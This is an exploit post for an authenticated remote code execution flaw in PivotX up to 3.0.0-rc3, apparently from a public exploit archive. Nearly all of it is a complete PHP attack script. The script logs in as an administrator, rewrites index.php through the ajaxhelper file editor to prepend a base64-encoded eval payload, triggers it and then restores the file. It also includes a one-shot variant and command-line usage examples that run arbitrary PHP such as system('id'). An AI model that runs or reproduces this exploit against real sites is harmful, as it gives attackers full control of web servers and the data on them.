📄 PivotX 3.0.0 RC 3 Command Injection

=============================================================================================================================================
    | # Title     : PivotX 3.0.0 RC 3 authenticated command injection                                                                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://github.com/pivotx/PivotX                                                                                            |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/208387/ & 	CVE-2025-52367
    
    [+] Summary : 
                 PivotX content management system versions up to and including 3.0.0-rc3 contain an authenticated remote code execution vulnerability 
    			 that allows administrative users to modify PHP files directly through the web interface, leading to complete system compromise.
    			 
    [+]  POC : 
    
    php poc.php 
    
    <?php
    
    class PivotX_RCE_Exploit {
        
        private $target;
        private $username;
        private $password;
        private $base_uri;
        private $cookies;
        private $csrf_token;
        private $base_dir;
        private $original_content;
        
        public function __construct($target, $username, $password, $base_uri = '/PivotX/') {
            $this->target = rtrim($target, '/');
            $this->username = $username;
            $this->password = $password;
            $this->base_uri = rtrim($base_uri, '/');
            $this->cookies = [];
            $this->csrf_token = null;
            $this->base_dir = null;
            $this->original_content = null;
        }
        
        private function send_request($method, $endpoint, $data = null, $is_post = false, $is_multipart = false) {
            $url = $this->target . $this->base_uri . $endpoint;
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 30,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_COOKIEFILE => '',
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false
            ]);
            
            // Preserve cookies between requests
            if (!empty($this->cookies)) {
                curl_setopt($ch, CURLOPT_COOKIE, $this->build_cookie_header());
            }
            
            if ($is_post) {
                curl_setopt($ch, CURLOPT_POST, true);
                if ($data) {
                    if ($is_multipart) {
                        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
                        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: multipart/form-data; boundary=' . $this->generate_boundary()]);
                    } else {
                        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
                    }
                }
            } else {
                if ($data && !$is_post) {
                    $url .= '?' . http_build_query($data);
                    curl_setopt($ch, CURLOPT_URL, $url);
                }
            }
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            
            // Save cookies from response
            if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $response, $matches)) {
                foreach ($matches[1] as $cookie) {
                    $parts = explode('=', $cookie, 2);
                    if (count($parts) === 2) {
                        $this->cookies[$parts[0]] = $parts[1];
                    }
                }
            }
            
            // Extract pivotxsession cookie for CSRF token
            if (preg_match('/pivotxsession=([a-zA-Z0-9]+)/', $this->build_cookie_header(), $matches)) {
                $this->csrf_token = $matches[1];
            }
            
            curl_close($ch);
            
            return [
                'code' => $http_code,
                'body' => $response
            ];
        }
        
        private function build_cookie_header() {
            $cookies = [];
            foreach ($this->cookies as $name => $value) {
                $cookies[] = $name . '=' . $value;
            }
            return implode('; ', $cookies);
        }
        
        private function generate_boundary() {
            return '----WebKitFormBoundary' . bin2hex(random_bytes(16));
        }
        
        private function build_multipart_data($fields) {
            $boundary = $this->generate_boundary();
            $data = '';
            
            foreach ($fields as $name => $value) {
                $data .= "--{$boundary}\r\n";
                $data .= "Content-Disposition: form-data; name=\"{$name}\"\r\n\r\n";
                $data .= "{$value}\r\n";
            }
            
            $data .= "--{$boundary}--\r\n";
            
            return [
                'data' => $data,
                'boundary' => $boundary
            ];
        }
        
        public function check() {
            echo "[*] Checking target...\n";
            
            $response = $this->send_request('GET', 'pivotx/index.php');
            
            if ($response['code'] !== 200) {
                return "Unknown: Unexpected response code: " . $response['code'];
            }
            
            if (strpos($response['body'], 'PivotX Powered') === false) {
                return "Safe: Target is not PivotX";
            }
            
            // Extract version
            if (preg_match('/PivotX - (\d\.\d\d?\.\d\d?-[a-z0-9]+)/', $response['body'], $matches)) {
                $version = $matches[1];
                echo "[*] Detected PivotX version: $version\n";
                
                // Check if version is vulnerable (<= 3.0.0-rc3)
                if (version_compare($version, '3.0.0-rc3', '<=')) {
                    return "Appears: Vulnerable PivotX $version detected";
                } else {
                    return "Safe: PivotX $version is not vulnerable";
                }
            }
            
            return "Detected: Could not determine version";
        }
        
        private function login() {
            echo "[*] Attempting to login...\n";
            
            $multipart_data = $this->build_multipart_data([
                'returnto' => '',
                'template' => '',
                'username' => $this->username,
                'password' => $this->password
            ]);
            
            $response = $this->send_request('POST', 'pivotx/index.php', 
                                          array_merge(['page' => 'login'], $multipart_data['data']), 
                                          true, true);
            
            // Check for login failure
            if (strpos($response['body'], 'Incorrect username/password') !== false) {
                throw new Exception("Login failed - incorrect username/password");
            }
            
            // Check for successful login (should have pivotxsession cookie)
            if (($response['code'] == 200 || $response['code'] == 302) && 
                preg_match('/pivotxsession=([a-zA-Z0-9]+)/', $this->build_cookie_header())) {
                echo "[+] Login successful\n";
                return true;
            }
            
            throw new Exception("Login failed - unable to get pivotxsession cookie");
        }
        
        private function modify_file($payload) {
            echo "[*] Modifying index.php file...\n";
            
            // First, get the working directory
            $response = $this->send_request('GET', 'pivotx/index.php', ['page' => 'homeexplore']);
            
            if ($response['code'] !== 200 || !preg_match('/basedir=([a-zA-Z0-9]+)/', $response['body'], $matches)) {
                throw new Exception("Failed to fetch working directory");
            }
            
            $this->base_dir = $matches[1];
            echo "[*] Base directory: $this->base_dir\n";
            
            // Fetch current index.php content
            $response = $this->send_request('GET', 'pivotx/ajaxhelper.php', [
                'function' => 'view',
                'basedir' => $this->base_dir,
                'file' => 'index.php'
            ]);
            
            if ($response['code'] !== 200) {
                throw new Exception("Failed to fetch index.php content");
            }
            
            // Extract original content from textarea
            if (preg_match('/<textarea[^>]*>(.*?)<\/textarea>/is', $response['body'], $matches)) {
                $this->original_content = html_entity_decode($matches[1]);
            }
            
            if (!$this->original_content) {
                throw new Exception("Could not find content of index.php");
            }
            
            echo "[*] Original content length: " . strlen($this->original_content) . " bytes\n";
            
            // Create malicious payload
            $encoded_payload = base64_encode($payload);
            $malicious_content = "<?php eval(base64_decode('$encoded_payload')); ?> " . $this->original_content;
            
            // Save malicious content
            $post_data = [
                'csrfcheck' => $this->csrf_token,
                'function' => 'save',
                'basedir' => $this->base_dir,
                'file' => 'index.php',
                'contents' => $malicious_content
            ];
            
            $response = $this->send_request('POST', 'pivotx/ajaxhelper.php', $post_data, true);
            
            if ($response['code'] !== 200 || strpos($response['body'], 'Wrote contents to file index.php') === false) {
                throw new Exception("Failed to insert malicious PHP payload");
            }
            
            echo "[+] Successfully modified index.php with payload\n";
        }
        
        private function trigger_payload() {
            echo "[*] Triggering payload...\n";
            
            $response = $this->send_request('POST', 'index.php', null, true);
            
            echo "[+] Payload triggered\n";
            return $response;
        }
        
        private function restore() {
            if (!$this->original_content || !$this->base_dir || !$this->csrf_token) {
                echo "[-] Cannot restore - missing required data\n";
                return false;
            }
            
            echo "[*] Restoring original content...\n";
            
            $post_data = [
                'csrfcheck' => $this->csrf_token,
                'function' => 'save',
                'basedir' => $this->base_dir,
                'file' => 'index.php',
                'contents' => $this->original_content
            ];
            
            $response = $this->send_request('POST', 'pivotx/ajaxhelper.php', $post_data, true);
            
            if ($response['code'] === 200 && strpos($response['body'], 'Wrote contents to file index.php') !== false) {
                echo "[+] Original content restored successfully\n";
                return true;
            } else {
                echo "[-] Failed to restore original content\n";
                return false;
            }
        }
        
        public function exploit($payload) {
            try {
                echo "[*] Starting PivotX RCE exploitation...\n";
                
                // Check target first
                $check_result = $this->check();
                echo "[*] Check result: $check_result\n";
                
                if (strpos($check_result, 'Safe') !== false) {
                    echo "[-] Target is not vulnerable, stopping exploitation\n";
                    return false;
                }
                
                // Login to PivotX
                $this->login();
                
                // Modify index.php with payload
                $this->modify_file($payload);
                
                // Trigger the payload
                $this->trigger_payload();
                
                echo "[+] Exploitation completed\n";
                return true;
                
            } catch (Exception $e) {
                echo "[-] Exploitation failed: " . $e->getMessage() . "\n";
                return false;
            } finally {
                // Always attempt to restore original content
                $this->restore();
            }
        }
        
        public function __destruct() {
            // Auto-restore on object destruction
            $this->restore();
        }
    }
    
    // نسخة مبسطة للاستخدام السريع
    class SimplePivotXExploit {
        
        public static function execute($target, $username, $password, $php_code, $base_uri = '/PivotX/') {
            $target = rtrim($target, '/');
            $base_uri = rtrim($base_uri, '/');
            
            $ch = curl_init();
            $cookies = [];
            
            // Step 1: Login
            $login_data = http_build_query([
                'returnto' => '',
                'template' => '',
                'username' => $username,
                'password' => $password
            ]);
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $target . $base_uri . '/pivotx/index.php?page=login',
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $login_data,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_COOKIEFILE => '',
                CURLOPT_FOLLOWLOCATION => true
            ]);
            
            $response = curl_exec($ch);
            
            // Extract cookies
            if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $response, $matches)) {
                foreach ($matches[1] as $cookie) {
                    $parts = explode('=', $cookie, 2);
                    if (count($parts) === 2) {
                        $cookies[$parts[0]] = $parts[1];
                    }
                }
            }
            
            $cookie_header = '';
            foreach ($cookies as $name => $value) {
                $cookie_header .= $name . '=' . $value . '; ';
            }
            
            // Step 2: Get base directory
            curl_setopt_array($ch, [
                CURLOPT_URL => $target . $base_uri . '/pivotx/index.php?page=homeexplore',
                CURLOPT_POST => false,
                CURLOPT_HTTPHEADER => ["Cookie: $cookie_header"]
            ]);
            
            $response = curl_exec($ch);
            preg_match('/basedir=([a-zA-Z0-9]+)/', $response, $matches);
            $base_dir = $matches[1] ?? '';
            
            if (!$base_dir) {
                return "[-] Failed to get base directory";
            }
            
            // Step 3: Get original index.php content
            curl_setopt_array($ch, [
                CURLOPT_URL => $target . $base_uri . '/pivotx/ajaxhelper.php?function=view&basedir=' . $base_dir . '&file=index.php',
                CURLOPT_HTTPHEADER => ["Cookie: $cookie_header"]
            ]);
            
            $response = curl_exec($ch);
            preg_match('/<textarea[^>]*>(.*?)<\/textarea>/is', $response, $matches);
            $original_content = html_entity_decode($matches[1] ?? '');
            
            // Step 4: Inject payload
            $encoded_payload = base64_encode($php_code);
            $malicious_content = "<?php eval(base64_decode('$encoded_payload')); ?> " . $original_content;
            
            $post_data = http_build_query([
                'csrfcheck' => $cookies['pivotxsession'] ?? '',
                'function' => 'save',
                'basedir' => $base_dir,
                'file' => 'index.php',
                'contents' => $malicious_content
            ]);
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $target . $base_uri . '/pivotx/ajaxhelper.php',
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $post_data,
                CURLOPT_HTTPHEADER => ["Cookie: $cookie_header"]
            ]);
            
            $response = curl_exec($ch);
            
            // Step 5: Trigger payload
            curl_setopt_array($ch, [
                CURLOPT_URL => $target . $base_uri . '/index.php',
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => '',
                CURLOPT_HTTPHEADER => ["Cookie: $cookie_header"]
            ]);
            
            $trigger_response = curl_exec($ch);
            
            // Step 6: Restore original content
            $restore_data = http_build_query([
                'csrfcheck' => $cookies['pivotxsession'] ?? '',
                'function' => 'save',
                'basedir' => $base_dir,
                'file' => 'index.php',
                'contents' => $original_content
            ]);
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $target . $base_uri . '/pivotx/ajaxhelper.php',
                CURLOPT_POSTFIELDS => $restore_data
            ]);
            
            curl_exec($ch);
            curl_close($ch);
            
            return "[+] Exploitation completed";
        }
    }
    
    // الاستخدام
    if (php_sapi_name() === 'cli') {
        
        if ($argc < 5) {
            echo "Usage: php " . $argv[0] . " <target_url> <username> <password> <php_code>\n";
            echo "Example: php " . $argv[0] . " http://localhost admin password \"system('id');\"\n";
            echo "Example: php " . $argv[0] . " http://localhost admin password \"echo 'Hello World';\"\n";
            exit(1);
        }
        
        $target = $argv[1];
        $username = $argv[2];
        $password = $argv[3];
        $php_code = $argv[4];
        
        // استخدام النسخة الكاملة
        $exploit = new PivotX_RCE_Exploit($target, $username, $password);
        $exploit->exploit($php_code);
        
        // أو استخدام النسخة المبسطة
        // $result = SimplePivotXExploit::execute($target, $username, $password, $php_code);
        // echo $result . "\n";
    }
    
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================